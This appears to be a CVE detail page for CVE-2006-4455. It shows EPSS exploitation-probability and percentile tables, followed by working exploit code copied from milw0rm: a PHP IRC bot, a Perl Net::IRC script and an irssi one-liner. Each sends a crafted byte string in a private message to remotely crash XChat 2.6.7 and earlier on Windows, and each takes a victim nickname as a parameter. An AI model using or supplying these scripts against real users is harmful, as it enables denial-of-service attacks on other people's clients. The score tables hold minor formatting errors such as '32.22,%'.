CVE-2006-4455 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.2%	–	–
2022-02-13	–	–	7.2%	–	–
2022-04-03	–	–	7.2%	–	–
2023-03-12	–	–	–	15.6%	–
2023-05-28	–	–	–	15.17%	–
2023-07-09	–	–	–	16.92%	–
2023-11-12	–	–	–	16.92%	–
2024-06-02	–	–	–	16.92%	–
2025-01-19	–	–	–	16.92%	–
2025-03-18	–	–	–	–	31.42%
2025-04-22	–	–	–	–	32.22%
2025-04-22	–	–	–	–	32.22,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	8%
2022-02-13	81%
2022-04-03	92%
2023-03-12	95%
2023-05-28	95%
2023-07-09	95%
2023-11-12	96%
2024-06-02	96%
2025-01-19	96%
2025-03-18	96%
2025-04-22	97%
2025-04-22	97%

<? # another way to test this with irssi/bitchx <below> /str0ke # /exec -o perl -e 'print "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"' ?> <?php // XChat <= 2.6.7 Windows Remote Crash DoS by ratboy // Tested on Windows SP1/SP2 // The following bug was tested on the XChat <= 2.6.7 on Windows SP1/SP2 //Stop the script timing out set_time_limit(0); //Set constants define("SERVER", 'irc.enigmagroup.org'); define("PORT", 6667); define("CHANNEL", "#enigmagroup"); //Set the channel the bot will join here define("NICK", "ratbot"); //Set the bot's nick here define("EXPLOIT", "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"); define("VICTIM", "ratboy"); $socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // Create the Socket $fp = socket_connect($socket, SERVER, PORT); // Connect to the server socket_write($socket,"USER ratboy ratboy ratboy :ratboy\r\n"); // Send the Username to the server socket_write($socket,"NICK ".NICK." \r\n"); // Change our nickname socket_write($socket,"JOIN ".CHANNEL." \r\n"); // Join the channel while($data = @socket_read($socket,2046)) { //read the data echo $data; $cmd = explode(" ", $data); if (strpos($data, "PING :")===0) { socket_write($socket, "PONG :".substr($data, 6)."\r\n"); continue; } if($cmd[1] == "PRIVMSG"){ // Send the exploit right when the channel gets a message then stop the bot socket_write($socket, "PRIVMSG ".VICTIM." :".EXPLOIT."\r\n"); socket_close($socket); } } ?> # milw0rm.com [2006-08-07]

#!/usr/bin/perl # rewritten because perl is more elegant than php # payload taken from original that ratboy submitted use strict; use Net::IRC; my ($nick, $server, $port, $channel, $victim) = @ARGV; my $irc = new Net::IRC; my $connect = $irc -> newconn (Nick => "$nick", Server => "$server", Port => $port, Ircname=> 'whatever') or die "$0: Error\n"; my $payload = "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"; sub on_connect { my $self = shift; $self->join("#".$channel); $self->privmsg($victim, "$payload"); } $connect->add_handler('376', \&on_connect); $irc->start(); # milw0rm.com [2006-08-08]